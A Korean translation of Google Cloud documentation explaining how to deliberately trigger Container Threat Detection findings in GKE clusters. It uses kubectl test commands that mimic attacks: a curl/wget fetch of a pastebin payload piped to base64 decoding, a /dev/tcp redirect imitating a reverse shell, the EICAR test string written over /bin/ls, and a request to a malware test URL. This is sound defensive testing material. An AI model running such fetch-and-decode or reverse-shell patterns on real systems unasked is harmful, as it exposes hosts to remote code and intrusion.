Container Threat Detection 테스트

이 페이지에서는 의도적으로 감지기를 트리거하고 발견 항목을 확인하여 Container Threat Detection이 작동하는지 확인하는 방법을 설명합니다. Container Threat Detection은 Security Command Center 프리미엄 등급을 위한 기본 서비스입니다. Container Threat Detection 발견 항목을 보려면 Security Command Center 서비스 설정에서 이를 사용 설정해야 합니다.

시작하기 전에

컨테이너에 대한 잠재적인 위협을 감지하려면 클러스터가 지원되는 Google Kubernetes Engine(GKE) 버전인지 확인해야 합니다. 자세한 내용은 지원되는 GKE 버전 사용을 참조하세요.

환경 변수 설정

감지기를 테스트하려면 Google Cloud 콘솔 및 Cloud Shell을 사용합니다. Cloud Shell에서 환경 변수를 설정하면 명령어를 보다 쉽게 실행할 수 있습니다. 다음 변수는 모든 Container Threat Detection 감지기를 테스트하는 데 사용됩니다.

  1. Google Cloud 콘솔로 이동합니다.

    Google Cloud 콘솔로 이동

  2. 테스트에 사용할 컨테이너가 포함된 프로젝트를 선택합니다.

  3. Cloud Shell 활성화를 클릭합니다.

  4. Cloud Shell에서 환경 변수를 설정합니다.

    1. 클러스터가 있는 영역:

      export ZONE=CLUSTER_ZONE
      
    2. 컨테이너가 있는 프로젝트:

      export PROJECT=PROJECT_ID
      
    3. 클러스터 이름:

      export CLUSTER_NAME=CLUSTER_NAME
      

변수가 설정됩니다. 다음 섹션에는 Container Threat Detection 감지기를 테스트하기 위한 안내가 포함되어 있습니다.

추가된 바이너리가 실행됨

'추가된 바이너리가 실행됨' 발견 항목을 트리거하려면 컨테이너에서 바이너리를 드롭하고 실행합니다. 이 예시에서는 최신 Ubuntu 18.04 이미지를 배포하고 /bin/ls를 다른 위치에 복사한 다음 실행합니다. 바이너리 실행을 예상하지 못하는 이유는 Ubuntu 18.04에 해당 이미지가 있음에도 바이너리의 복사본이 원본 컨테이너 이미지의 일부가 아니고 컨테이너는 변경할 수 없기 때문입니다.

  1. 환경 변수 설정

  2. Cloud Shell을 사용하여 클러스터 제어 영역에 액세스합니다.

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. 바이너리 삽입 및 실행:

    tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
    kubectl run --restart=Never --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu1804:latest \
    "$tag" -- bash -c "cp /bin/ls /tmp/$tag; /tmp/$tag"
    

이 테스트 절차에서는 Security Command Center와 Cloud Logging(Container Threat Detection에 대한 로깅을 구성한 경우)에서 확인할 수 있는 '추가된 바이너리가 실행됨' 발견 항목이 생성됩니다. Cloud Logging에서 발견 항목 보기는 Security Command Center 프리미엄 등급을 활성화한 경우에만 사용할 수 있습니다.

컨테이너를 처음 만들 때 노이즈 감소를 위해 Container Threat Detection에서 추가된 바이너리 실행 발견 항목을 일시적으로 필터링합니다. 컨테이너가 설정되는 동안 추가된 바이너리 실행 발견 항목을 모두 보려면 예시처럼 컨테이너 이름이나 포드 이름 앞에 ktd-test를 추가합니다.

추가된 라이브러리가 로드됨

'추가된 라이브러리가 로드됨' 트리거를 트리거하려면 컨테이너에서 라이브러리를 드롭한 다음 로드합니다. 이 예시에서는 최신 Ubuntu 18.04 이미지를 배포하고 /lib/x86_64-linux-gnu/libc.so.6를 다른 위치에 복사 한 다음 ld를 사용하여 로드합니다. 로드된 라이브러리를 예상하지 못하는 이유는 Ubuntu 18.04에 해당 이미지가 있음에도 라이브러리의 복사본이 원본 컨테이너 이미지의 일부가 아니고 컨테이너는 변경할 수 없기 때문입니다.

  1. 환경 변수 설정

  2. Cloud Shell을 사용하여 클러스터 제어 계획에 액세스합니다.

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. 라이브러리를 삽입하고 ld를 사용하여 로드:

    tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
    kubectl run --restart=Never --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu1804:latest \
    "$tag" -- bash -c "cp /lib/x86_64-linux-gnu/libc.so.6 /tmp/$tag; /lib64/ld-linux-x86-64.so.2 /tmp/$tag"
    

이 테스트 절차에서는 Security Command Center와 Cloud Logging(Container Threat Detection에 대한 로깅을 구성한 경우)에서 확인할 수 있는 '추가된 바이너리가 로그됨' 발견 항목이 생성됩니다. 조직 수준에서 Security Command Center 프리미엄 등급을 활성화한 경우에만 Cloud Logging에서 발견 항목을 볼 수 있습니다.

컨테이너를 처음 만들 때 노이즈 감소를 위해 Container Threat Detection에서 추가된 라이브러리 로드 발견 항목을 일시적으로 필터링합니다. 컨테이너가 설정되는 동안 추가된 라이브러리 로드 발견 항목을 모두 보려면 예시와 같이 컨테이너 이름이나 포드 이름 앞에 ktd-test를 추가합니다.

실행: 추가된 악성 바이너리 실행됨

실행 트리거: 악의적인 바이너리 실행 발견 항목을 추가하려면 컨테이너에서 악성 바이너리를 삭제하고 실행합니다. 이 예시에서는 최신 Ubuntu 18.04 이미지를 배포하고 시뮬레이션된 악성 파일을 만든 다음 실행합니다. 시뮬레이션된 악성 바이너리가 원본 컨테이너 이미지의 일부가 아니고 바이너리가 위협 인텔리전스에 의해 악성으로 분류된 EICAR 테스트 파일이므로 바이너리가 예기치 않게 실행됩니다.

  1. 환경 변수 설정

  2. Cloud Shell을 사용하여 클러스터 제어 영역에 액세스합니다.

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. EICAR 바이너리를 삭제하고 실행합니다.

    tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
    eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
    kubectl run --restart=Never --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu1804:latest \
    "$tag" -- bash -c \
    "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; ./tmp/test_mal_file; sleep 10"
    

이 테스트 절차에서는 Security Command Center와 Cloud Logging(Container Threat Detection에 대한 로깅을 구성한 경우)에서 확인할 수 있는 실행: 추가된 악성 바이너리 실행됨 발견 항목이 생성됩니다. Security Command Center 프리미엄 등급을 활성화한 경우에만 Cloud Logging에서 발견 항목을 볼 수 있습니다.

컨테이너를 처음 만들 때 노이즈 감소를 위해 Container Threat Detection에서 실행: 추가된 악성 바이너리 실행됨 발견 항목을 일시적으로 필터링합니다. 컨테이너가 설정되는 동안 실행: 추가된 악성 바이너리 실행됨 발견 항목을 모두 보려면 예시처럼 컨테이너 이름이나 포드 이름 앞에 ktd-test를 추가합니다.

실행: 수정된 악성 바이너리 실행됨

실행: 수정된 악성 바이너리 실행됨 발견 항목을 수정하려면 컨테이너에서 악성 바이너리를 수정하고 실행합니다. 이 예시에서는 최신 Ubuntu 18.04 이미지를 배포하고 /bin/ls를 시뮬레이션된 악성 파일로 수정한 다음 실행합니다. 컨테이너 런타임 중에 /bin/ls가 시뮬레이션된 악성 바이너리로 수정되고, 바이너리가 위협 인텔리전스에 의해 악성으로 분류되는 파일인 EICAR 테스트 파일이므로 바이너리가 예기치 않게 실행됩니다.

EICAR가 악성 파일을 테스트한 후 실행합니다. 생성된 /bin/ls는 컨테이너 런타임 동안 악성 바이너리를 테스트하는 EICAR로 수정되고, EICAR 바이너리가 위협 인텔리전스에 따라 알려진 악성 파일이므로 바이너리가 예기치 않게 실행됩니다.

  1. 환경 변수 설정

  2. Cloud Shell을 사용하여 클러스터 제어 영역에 액세스합니다.

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. EICAR 바이너리를 삭제하고 실행합니다.

    tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
    eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
    kubectl run --restart=Never --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu1804:latest \
    "$tag" -- bash -c "echo -n '$eicar' > /bin/ls; /bin/ls; sleep 10"
    

이 테스트 절차에서는 Security Command Center와 Cloud Logging(Container Threat Detection에 대한 로깅을 구성한 경우)에서 확인할 수 있는 실행: 수정된 악성 바이너리 실행됨 발견 항목이 생성됩니다. Cloud Logging에서 발견 항목 보기는 Security Command Center 프리미엄 등급을 활성화한 경우에만 사용할 수 있습니다.

노이즈 감소를 위해 컨테이너를 처음 만들 때 Container Threat Detection에서 실행: 수정된 악성 바이너리 실행됨 발견 항목을 일시적으로 필터링합니다. 컨테이너가 설정되는 동안 실행: 수정된 악성 바이너리 실행됨 발견 항목을 모두 보려면 예시처럼 컨테이너 이름이나 포드 이름 앞에 ktd-test를 추가합니다.

악성 스크립트가 실행됨

악성 스크립트 실행 발견 항목을 트리거하려면 컨테이너에서 다음 절차로 스크립트를 실행할 수 있습니다.

이 절차에서는 최신 Ubuntu 18.04 이미지를 배포하고, 악의적으로 보이는 스크립트를 복사하고, 이를 실행합니다. 감지를 트리거하려면 스크립트가 감지기에 악성으로 나타나야 합니다.

  1. 환경 변수 설정

  2. Cloud Shell을 사용하여 클러스터 제어 계획에 액세스합니다.

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. 새 컨테이너에서 다음 스크립트를 실행합니다.

    이 인라인 bash 셸 스크립트는 허니팟에서 시작되었습니다. 그러나 악성 바이너리를 실행하지 않도록 수정되었습니다. 따라서 스크립트를 실행해도 컨테이너에서 악의적인 활동이 발생하지 않습니다. 참조된 URL의 바이너리가 삭제되었을 수 있으며 URL을 따르려고 하면 404 오류가 발생합니다. 이는 정상적인 동작입니다. 인라인 스크립트를 사용하여 바이너리를 다운로드, 디코딩, 실행하려는 시도가 감지를 트리거합니다.

     tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run --restart=Never --rm=true  -i \
     --image marketplace.gcr.io/google/ubuntu1804:latest "$tag" \
      -- bash -c "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"
    

이 테스트 절차에서는 Container Threat Detection에 대한 로깅을 구성한 경우 Security Command Center 및 Cloud Logging에서 확인할 수 있는 악성 스크립트 실행 발견 항목이 생성됩니다. Cloud Logging에서 발견 항목 보기는 조직 수준에서 Security Command Center 프리미엄 등급을 활성화한 경우에만 사용할 수 있습니다.

악성 URL 관찰

악성 URL 관찰 발견 항목을 트리거하려면 바이너리를 실행하고 악성 URL을 인수로 제공합니다.

다음 예시에서는 Ubuntu 18.04 이미지를 배포하고 /bin/curl을 실행하여 세이프 브라우징 서비스에서 샘플 멀웨어 URL에 액세스합니다.

  1. 환경 변수 설정

  2. Cloud Shell을 사용하여 클러스터 제어 계획에 액세스합니다.

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. curl을 실행하고 악성 URL을 인수로 제공합니다.

       tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
       url="https://testsafebrowsing.appspot.com/s/malware.html"
       kubectl run --restart=Never --rm=true -i \
       --image marketplace.gcr.io/google/ubuntu1804:latest \
       "$tag" -- bash -c "curl $url | cat"
    

이 테스트 절차에서는 Security Command Center에서 그리고 Container Threat Detection에 대해 Logging을 구성한 경우에는 Cloud Logging에서 볼 수 있는 악성 URL 관찰 발견 항목을 트리거합니다. 조직 수준에서 Security Command Center 프리미엄 등급을 활성화한 경우에만 Cloud Logging에서 발견 항목을 볼 수 있습니다.

역방향 셸

역방향 셸 발견 항목을 트리거하려면 TCP 연결 소켓으로의 stdin 리디렉션으로 바이너리를 시작합니다. 이 예시는 DNS 포트의 Google 공개 DNS 8.8.8.8로 리디렉션하여 /bin/echo를 시작합니다. 이 예시를 실행하면 아무것도 인쇄되지 않습니다. 중간자(MITM) 공격을 통해 외부 코드 삽입을 방지하기 위해 이 예시에서는 /bin/bash binary을 사용하지 않습니다.

  1. 환경 변수 설정

  2. Cloud Shell을 사용하여 클러스터 제어 계획에 액세스합니다.

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. Google Public DNS로 /bin/echo 리디렉션을 사용하여 바이너리를 시작합니다.

    tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
    kubectl run --restart=Never --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu1804:latest \
    "$tag" -- bash -c "/bin/echo >& /dev/tcp/8.8.8.8/53 0>&1"
    

이 테스트 절차에서는 Security Command Center와 Cloud Logging(Container Threat Detection에 대한 로깅을 구성한 경우)에서 확인할 수 있는 '역방향 셸' 발견 항목이 생성됩니다. 조직 수준에서 Security Command Center 프리미엄 등급을 활성화한 경우에만 Cloud Logging에서 발견 항목을 볼 수 있습니다.

예기치 않은 하위 셸

Unexpected Child Shell 감지기를 테스트하려면 하위 셸 프로세스가 포함된 프로세스 트리를 만들면 됩니다.

다음 예시에서는 Unexpected Child Shell 감지기에서 감지할 수 있는 httpd->dash 프로세스 트리를 만듭니다. 이 테스트는 기본 제공되는 바이너리만 사용하기 때문에 안전합니다. 이 예시에서는 다음을 수행합니다.

  1. bash 프로세스의 복사본을 만들고 이름을 httpd로 지정합니다.
  2. echo 프로세스를 복사하고 이름을 dash로 지정합니다.
  3. 복사된 httpd 프로세스에서 복사된 dash 프로세스를 호출합니다.

Unexpected Child Shell 발견 항목을 트리거하려면 다음을 수행합니다.

  1. 환경 변수 설정

  2. Cloud Shell을 사용하여 클러스터 제어 영역에 액세스합니다.

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. 모의 httpd 프로세스가 모의 셸을 호출하도록 만듭니다.

    tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
    kubectl run --restart=Never --rm=true -ti \
    --image ubuntu "$tag" --command \
    -- /bin/sh -c 'cp /bin/bash /tmp/httpd; cp /bin/echo /tmp/bash; \
    /tmp/httpd -c "/tmp/bash child ran successfully & wait"'
    

이 테스트 절차에서는 Security Command Center에서 볼 수 있는 Unexpected Child Shell 발견 항목을 만듭니다. Container Threat Detection에 대한 로깅을 구성하고 조직 수준에서 Security Command Center 프리미엄 등급을 활성화한 경우 Cloud Logging에서도 발견 항목을 볼 수 있습니다.

참고: 위의 테스트 명령어에서 & wait 부분이 중요합니다. 예기치 않은 하위 셸 감지기의 공개 미리보기 버전은 새 셸을 forkexec하는 상위 프로세스만 캡처할 수 있습니다. 명령어의 & 대기 부분이 생략되면 감지기가 이벤트를 캡처할 수 없습니다.

다음 단계